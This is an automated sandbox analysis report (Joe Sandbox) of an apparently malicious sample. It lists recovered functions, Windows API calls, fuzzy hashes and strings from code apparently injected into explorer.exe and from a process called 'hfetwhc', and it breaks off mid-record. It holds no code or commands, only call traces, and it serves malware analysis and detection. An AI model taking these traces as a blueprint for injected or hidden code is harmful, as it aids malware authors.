Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: e20d54ee6197d9d2cb2e554cdfead7c5880c7c9c178de9ddcfaf8dd6dd425294
Instruction ID: d54393dc21caa0530709e4c2b6def5aa6b53d1ea14421adab46d914bda2297ad
Opcode Fuzzy Hash: e20d54ee6197d9d2cb2e554cdfead7c5880c7c9c178de9ddcfaf8dd6dd425294
Instruction Fuzzy Hash: 2FB0927351934E9B8B04EF98E982D9FB3DCAAA4A20B00840AB9148F150D931F52186A4

Function 030C7619 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 030C761F

Part of subcall function 030C88FA: RtlFreeHeap.NTDLL(00000000,00000000,?,030C7CD5,00000000,00010108,0000000B,?,00000000,033D3FE8), ref: 030C890E
Part of subcall function 030C88FA: GetLastError.KERNEL32(00000000,?,030C7CD5,00000000,00010108,0000000B,?,00000000,033D3FE8), ref: 030C8920

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: e87896d8f0a4d43bff06e3d27394eb76854e5ac7954b8ea5baf234a6fb4bbc63
Instruction ID: 077aebc5735b05bcc0dbde2f8652a9c816f4ee0620127be9442f96ef1a810b09
Opcode Fuzzy Hash: e87896d8f0a4d43bff06e3d27394eb76854e5ac7954b8ea5baf234a6fb4bbc63
Instruction Fuzzy Hash: 39A0123200830CA74600B689B801849774CBA50130610C036E508084109D276424515C

Function 030C2313 Relevance: 1.3, APIs: 1, Instructions: 38stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(033D3FE8,?,?,00000000,033D3FE8,00000104), ref: 030C2346

Part of subcall function 030C2240: FindFirstFileW.KERNEL32(?,?,030DBA98,?,00000000,033D3FE8), ref: 030C2278
Part of subcall function 030C2240: FindNextFileW.KERNEL32(00000000,?), ref: 030C22F9
Part of subcall function 030C2240: FindClose.KERNEL32(00000000), ref: 030C2304

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrlen
String ID:
API String ID: 1108763488-0
Opcode ID: 457cf859ba799f89b51fb9a111840b714a3ef4ae323abb6c48179e62f234b003
Instruction ID: b4835d09ab71a0ef8a7d72556e70951421a2bd91692c60ba23e1e71a13da108a
Opcode Fuzzy Hash: 457cf859ba799f89b51fb9a111840b714a3ef4ae323abb6c48179e62f234b003
Instruction Fuzzy Hash: D9F0B436B223582BCB04B7689C459EEB2EC9BC8511F00056DAA01AA640DE649D1442A0

Function 030C39A8 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 030C3956: SetFilePointer.KERNEL32(?,?,?,?), ref: 030C3973
Part of subcall function 030C3956: GetLastError.KERNEL32(?,?,?,?), ref: 030C3980

GetLastError.KERNEL32 ref: 030C39DD

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 2bca29f77effa4d093f5559fe3cfecfc40cbeb38c290751106743d6d13e63167
Instruction ID: 907224474aec3560f838fdc8b4843671cd0ef2babbdf9b7206d1054b0cfb3ef0
Opcode Fuzzy Hash: 2bca29f77effa4d093f5559fe3cfecfc40cbeb38c290751106743d6d13e63167
Instruction Fuzzy Hash: 24F0BB3AA22248ABDB40DB9DC8019DEFBB9EF49620F14C399FC10A7244E7716D9087D0

Function 030C104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000), ref: 030C1056

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 37d3749fd8f957914923e944d537d95a79c4797b28ff1ff09ffd7802f5fa3ad5
Instruction ID: c771a085cf374e2cdab8897d7e1173b1268ab34dbf0de00eb3d06f194cd03018
Opcode Fuzzy Hash: 37d3749fd8f957914923e944d537d95a79c4797b28ff1ff09ffd7802f5fa3ad5
Instruction Fuzzy Hash: FFA002B07D73007AFD696791AD1FF152E689B41F42F100184BB0DBC0C456E87554856D

Function 030C105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 030C1065

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: deec34f9970177696f05e9b42e2e393424aa8999fc55f978d383a4bebea132b0
Instruction ID: 4e357a25ec1a2ce396ffe223cc0f0b3f287a407de32dd689449ea2d8a2e6eb35
Opcode Fuzzy Hash: deec34f9970177696f05e9b42e2e393424aa8999fc55f978d383a4bebea132b0
Instruction Fuzzy Hash: 00A0027469270066FD7467245D1AF0926546B42B05F2085447A41681C44AA9A0148A18

Non-executed Functions

Function 030C20C1 Relevance: 6.0, APIs: 4, Instructions: 31timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 030C20D6
FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 030C20EE
FileTimeToDosDateTime.KERNEL32(?,?), ref: 030C20FD
FindClose.KERNEL32(00000000,?,?,?), ref: 030C2104

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: FileTime$Find$CloseDateFirstLocal
String ID:
API String ID: 2659516521-0
Opcode ID: 89353ef2ca0f44d8b13409a5d6bd033f117f36f36388c67427a03aeb42604284
Instruction ID: a41d5366e8da006c71fbf632ecc10065370b6f32fbe88fb14ca93ec10d7a8706
Opcode Fuzzy Hash: 89353ef2ca0f44d8b13409a5d6bd033f117f36f36388c67427a03aeb42604284
Instruction Fuzzy Hash: 28F0A277402118ABD710B6A8EC4DDDF7BFCDB8A221F040666BE19D2144EB7495558BA0

Function 030C8DF5 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,00000000,030C9222,-00000328,?,?,00000001), ref: 030C8DFA
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 030C8E03

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8b50865986c9b91c66cd4b5f2758ccaa53f308c1ea2bd12acc4538cda5f11be2
Instruction ID: c92bda5a1441018751ee9f98f4aef0a08a4fe23968262274f52dae9f80d48322
Opcode Fuzzy Hash: 8b50865986c9b91c66cd4b5f2758ccaa53f308c1ea2bd12acc4538cda5f11be2
Instruction Fuzzy Hash: 92B09231047208FBCB003B91FC09B587FA9FB06652F408010FE0D45055CB7654208AE2

Function 030C7F26 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 030C7F2E
_free.LIBCMT ref: 030C7F47

Part of subcall function 030C88FA: RtlFreeHeap.NTDLL(00000000,00000000,?,030C7CD5,00000000,00010108,0000000B,?,00000000,033D3FE8), ref: 030C890E
Part of subcall function 030C88FA: GetLastError.KERNEL32(00000000,?,030C7CD5,00000000,00010108,0000000B,?,00000000,033D3FE8), ref: 030C8920

_free.LIBCMT ref: 030C7F5A
_free.LIBCMT ref: 030C7F78
_free.LIBCMT ref: 030C7F8A
_free.LIBCMT ref: 030C7F9B
_free.LIBCMT ref: 030C7FA6
_free.LIBCMT ref: 030C7FCA
RtlEncodePointer.NTDLL(033DCB30), ref: 030C7FD1
_free.LIBCMT ref: 030C7FE6
_free.LIBCMT ref: 030C7FFC
_free.LIBCMT ref: 030C8024

Strings

PNEw, xrefs: 030C7F2E

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: PNEw
API String ID: 3064303923-3542233003
Opcode ID: 0b5256638aced71a7a92f897f68db886f444f2d7ea4ccd29144a585226c12434
Instruction ID: 857e697909880c2c915404992e40d57cbc2fd163019f32e51a487ba3a5508f8d
Opcode Fuzzy Hash: 0b5256638aced71a7a92f897f68db886f444f2d7ea4ccd29144a585226c12434
Instruction Fuzzy Hash: 1C214C39A133A1CBD760FF6CF88055DB7E4BB45B34718813DED059A288CA3C5855CA88

Function 030C7E2A Relevance: 15.1, APIs: 10, Instructions: 75COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtIsPackagedApp.LIBCMT ref: 030C7E54
AreFileApisANSI.KERNEL32(?,00000109,00000000,?,030D3675,00000008,00000000,00000000,?,030D360C,?,?,?,?,00000008,?), ref: 030C7E5D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,?,00000109,00000000,?,030D3675,00000008,00000000,00000000,?,030D360C), ref: 030C7E77
GetLastError.KERNEL32(?,030D3675,00000008,00000000,00000000,?,030D360C,?,?,?,?,00000008,?,00000000,030DBFD0,00000014), ref: 030C7E84
__dosmaperr.LIBCMT ref: 030C7E8B

Part of subcall function 030C92F0: __getptd_noexit.LIBCMT ref: 030C92F0

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: ApisByteCharErrorFileLastMultiPackagedWide___crt__dosmaperr__getptd_noexit
String ID:
API String ID: 1083238821-0
Opcode ID: a160398963f2fb27c428f82393a86234ae070e243b912451b9d0a74b88cc9e47
Instruction ID: 0922fc10d3747bb04df9fc623f81c06fb3cbacdcc7f11483d84400d62203d1ec
Opcode Fuzzy Hash: a160398963f2fb27c428f82393a86234ae070e243b912451b9d0a74b88cc9e47
Instruction Fuzzy Hash: 691193B7527345AFEB60BFB09C44BBE7ADCEF19B61B14452CFD51C9180EB3488008AA4

Function 030C7D97 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 030C7D97

Part of subcall function 030C80F6: RtlEncodePointer.NTDLL(00000000), ref: 030C80F9
Part of subcall function 030C80F6: __initp_misc_winsig.LIBCMT ref: 030C8114
Part of subcall function 030C80F6: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 030C8B4E
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 030C8B62
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 030C8B75
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 030C8B88
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 030C8B9B
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 030C8BAE
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 030C8BC1
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 030C8BD4
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 030C8BE7
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 030C8BFA
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 030C8C0D
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 030C8C20
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 030C8C33
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 030C8C46
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 030C8C59
Part of subcall function 030C80F6: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 030C8C6C

__mtinitlocks.LIBCMT ref: 030C7D9C
__mtterm.LIBCMT ref: 030C7DA5

Part of subcall function 030C7E0D: RtlDeleteCriticalSection.NTDLL ref: 030CA179
Part of subcall function 030C7E0D: _free.LIBCMT ref: 030CA180
Part of subcall function 030C7E0D: RtlDeleteCriticalSection.NTDLL(030DD918), ref: 030CA1A2

__calloc_crt.LIBCMT ref: 030C7DCA
__initptd.LIBCMT ref: 030C7DEC
GetCurrentThreadId.KERNEL32 ref: 030C7DF3

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 065757ef35320ef7a3fbf064ea7a1d9b582c0545e03b4476e702c53d67ee4036
Instruction ID: 94f932aad60390cdc398f06ae362733f78afaad5acd76973952c6bea6e9f93b1
Opcode Fuzzy Hash: 065757ef35320ef7a3fbf064ea7a1d9b582c0545e03b4476e702c53d67ee4036
Instruction Fuzzy Hash: C9F0903613B7A12EE275FB747C0679E2AD4AF82A30F248A5DE874DC0C4FF9188525994

Function 030C3837 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 030C3858
wcsncpy.NTDLL ref: 030C3864
_free.LIBCMT ref: 030C38B4

Strings

.z%02d, xrefs: 030C388D

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: _free_mallocwcsncpy
String ID: .z%02d
API String ID: 3842812274-724465191
Opcode ID: 8dd9135576874e06e7e13132c04a4564ec4d80440b7b8302cebb9ca6862fbb39
Instruction ID: 0047c6559c15addc469e9e7b93ec271e440d60c97c714b2cd74eb9a38781962a
Opcode Fuzzy Hash: 8dd9135576874e06e7e13132c04a4564ec4d80440b7b8302cebb9ca6862fbb39
Instruction Fuzzy Hash: E311C639932359ABDB10DF58DC44EBFB7A8FB45720B44819DFD029B100D779A91886F4

Function 030C3C0F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54stringCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 030C3C25
strncpy.NTDLL ref: 030C3C33
_free.LIBCMT ref: 030C3C7E

Strings

.z%02u, xrefs: 030C3C58

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: _free_mallocstrncpy
String ID: .z%02u
API String ID: 854628082-1100895957
Opcode ID: 2dee296a4d131c82c3840ae1576a0d1a0ddccac591fde9801053666fb7124599
Instruction ID: 89f2914cc2dac389c0b12c02ff66fedede1797ae7b55e2ead308b6e2fcd35f0f
Opcode Fuzzy Hash: 2dee296a4d131c82c3840ae1576a0d1a0ddccac591fde9801053666fb7124599
Instruction Fuzzy Hash: 6C01D239633794ABCB21EB588CC4D7FBBA8EF81B10700885DFD5256100D72AAC2097A0

Function 030C503B Relevance: 7.8, APIs: 5, Instructions: 295COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 030C5137
_memmove.LIBCMT ref: 030C51A4
_memmove.LIBCMT ref: 030C51D3
_memmove.LIBCMT ref: 030C51FC
_memmove.LIBCMT ref: 030C528D

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 3d6da900721ff391acd5c083a86e787545dccce05d95e6edb57348700f079d13
Instruction ID: be5b4b49b5b6224d7001fe55fd798e76c90c757cc05c1a6dd6d51cb46f77fafc
Opcode Fuzzy Hash: 3d6da900721ff391acd5c083a86e787545dccce05d95e6edb57348700f079d13
Instruction Fuzzy Hash: 76B14579611B808FC764CF6EC8C496AB7E5FF8A304B28892DE48ACB650D771F845CB54

Function 030D218A Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 030D21E8
_memcpy_s.LIBCMT ref: 030D225A
__read_nolock.LIBCMT ref: 030D22B8
__filbuf.LIBCMT ref: 030D22DB
_memset.LIBCMT ref: 030D231F

Part of subcall function 030C92F0: __getptd_noexit.LIBCMT ref: 030C92F0

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: d4eb1a777f878832786e557e6d3bf7cead3d85c675fbd5e9f08223bff75cf05c
Instruction ID: 6e5d1fbc5b420d758d5f3ca2e41b77ff99ae86e23652c6394f929ed8b424e395
Opcode Fuzzy Hash: d4eb1a777f878832786e557e6d3bf7cead3d85c675fbd5e9f08223bff75cf05c
Instruction Fuzzy Hash: 4E51C534A02709EBDB64CFA9C8806AEB7F9AF50320F188F6DF875966D0D770D9508B54

Function 030CAECD Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 030CAED9

Part of subcall function 030CAE3B: __FF_MSGBANNER.LIBCMT ref: 030CAE52
Part of subcall function 030CAE3B: __NMSG_WRITE.LIBCMT ref: 030CAE59
Part of subcall function 030CAE3B: RtlAllocateHeap.NTDLL(033D0000,00000000,00000001), ref: 030CAE7E

_free.LIBCMT ref: 030CAEEC

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 00c4cece77a466259ff7eacc0f13c0fe4d7aec4be041a57e95e48a661fde04d1
Instruction ID: ba2de7c126e4989046ed84d11cec5e369d93dd060b002c7628053eb4f828d7d5
Opcode Fuzzy Hash: 00c4cece77a466259ff7eacc0f13c0fe4d7aec4be041a57e95e48a661fde04d1
Instruction Fuzzy Hash: 6511E376A2739AEFCB60BBF8AC4479F77E8AF443A0B04456DED458E140DB38844182D0

Function 030D2421 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 030D24B7
__flush.LIBCMT ref: 030D24D7
__write.LIBCMT ref: 030D250A
__flsbuf.LIBCMT ref: 030D2538

Part of subcall function 030C92F0: __getptd_noexit.LIBCMT ref: 030C92F0

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: ea1406190fb9796f8190687ce42510bdf285d238db1f3e4e6202fb1ce1078a14
Instruction ID: 8b08dbaee0c2a09905ead50593554b526234c3832fe49502bf7e6fe955940440
Opcode Fuzzy Hash: ea1406190fb9796f8190687ce42510bdf285d238db1f3e4e6202fb1ce1078a14
Instruction Fuzzy Hash: 0541F8357027069FDB68CF68C8909AEB7EDAF84360B18897DEC55CBA84D770D9418B50

Function 030D177C Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 030D17B2
__isleadbyte_l.LIBCMT ref: 030D17E0
MultiByteToWideChar.KERNEL32(?,00000009,00000108,?,00000000,00000000), ref: 030D180E
MultiByteToWideChar.KERNEL32(?,00000009,00000108,00000001,00000000,00000000), ref: 030D1844

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 95f756abe7d0225c7b99a6fb68a2a7fddbbdc1d6e32f598186423e19010bacdf
Instruction ID: 748a5899f439930b193d954b07a573a155cc449936c9eacffc4699345ff1b940
Opcode Fuzzy Hash: 95f756abe7d0225c7b99a6fb68a2a7fddbbdc1d6e32f598186423e19010bacdf
Instruction Fuzzy Hash: 0031A135A06346AFDBA9DF65D844BAFBBFAFF41310F194458E8148B1A0DB34D851CB90

Function 030CD676 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 030CD69A

Part of subcall function 030CDD81: __fltout2.LIBCMT ref: 030CDDAA

__cftog_l.LIBCMT ref: 030CD6C0
__cftoe_l.LIBCMT ref: 030CD6F2

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 832113f0283a254de7472c85e48e3cfc87f674a1d8cc89787979fe36e60de41c
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: E101483642118ABBCF12AF94DC418EE7F76BB58294F488429FA5858130D737C5B1EB81

Function 030C3B7A Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 030C3B8B
_strlen.LIBCMT ref: 030C3B95
_malloc.LIBCMT ref: 030C3BA1
strncpy.NTDLL ref: 030C3BAC

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: _malloc$_strlenstrncpy
String ID:
API String ID: 4159901624-0
Opcode ID: 1b0986be71260d84b4b40ec7ceea7b08610f6ec4acb85f2d008c600932a552e5
Instruction ID: 632a8a4c588ef403068808cb63e160cbdec236db9790c4fcf3a4912aaad2859f
Opcode Fuzzy Hash: 1b0986be71260d84b4b40ec7ceea7b08610f6ec4acb85f2d008c600932a552e5
Instruction Fuzzy Hash: 30E0D8B9B336627BC710BB6D5C44D9FA69CDFC92513458469FA09D7200C7244C1643F0

Function 030C9256 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 030C925F
__invoke_watson.LIBCMT ref: 030C927B

Strings

PNEw, xrefs: 030C925F

Memory Dump Source

Source File: 0000000D.00000002.3926841297.00000000030C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30c1000_explorer.jbxd

Similarity

API ID: DecodePointer__invoke_watson
String ID: PNEw
API String ID: 4034010525-3542233003
Opcode ID: 58d5912e386f2c5f32d82bc5a4281f116e48b69a240d7b1a458492be9a5aea7e
Instruction ID: c327e0bb4d30f21b4bfcc2b4303a611cff51bd805ec5017b6584ff9b0fd29f5f
Opcode Fuzzy Hash: 58d5912e386f2c5f32d82bc5a4281f116e48b69a240d7b1a458492be9a5aea7e
Instruction Fuzzy Hash: D5E0EC36412249BBCF416F61DC058AE3FA9FF44750B454414FE5088420D736C930DB95

Analysis Process: hfetwhcPID: 1504, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	1

Executed Functions

Function 0040290A Relevance: 1.6, APIs: 1, Instructions: 103
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004029EE

Memory Dump Source

Source File: 00000010.00000002.3927540281.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3927368040.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000010.00000002.3927694935.0000000000404000.00000080.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_hfetwhc.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 94b9ecdda93e7a03f1b91e0d7552df6efdbadd54ccb0ddbcfaeec834152aa81f
Instruction ID: 0f37f1e8340a455a628f0dd2c8bfe38ab1bb1e89a3f0909cb6302f7b9a388a1b
Opcode Fuzzy Hash: 94b9ecdda93e7a03f1b91e0d7552df6efdbadd54ccb0ddbcfaeec834152aa81f
Instruction Fuzzy Hash: 8C3135B2708204DBC7229A74CB0C6657360FF61368F34817BE482BA0C1D5BD6647AF6B

Function 00402919 Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004029EE

Memory Dump Source

Source File: 00000010.00000002.3927540281.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3927368040.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000010.00000002.3927694935.0000000000404000.00000080.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_hfetwhc.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8076e47548ac09e5e7daeb9ea87f2321c4e851a486b438aa05f0ead927cd1cb5
Instruction ID: 94162d520a03f6ebd08e1c1ad236a80b0b30f03ccf8e8ecf9357496de1815f78
Opcode Fuzzy Hash: 8076e47548ac09e5e7daeb9ea87f2321c4e851a486b438aa05f0ead927cd1cb5
Instruction Fuzzy Hash: 88113271708100E7CB209A548B4CBAA3320EB50320F2080B7E942BA1C1C9FC9A03BF6F

Function 00402988 Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004029EE

Memory Dump Source

Source File: 00000010.00000002.3927540281.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3927368040.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000010.00000002.3927694935.0000000000404000.00000080.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_hfetwhc.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 1116fd35f8b690966260491feb7ff7e4415ced47bcc92838e410c90d1b3601aa
Instruction ID: fa554d0c34519f5cd6b82b57aba43f03ca34593ce70611dbcf9765f41090c4dd
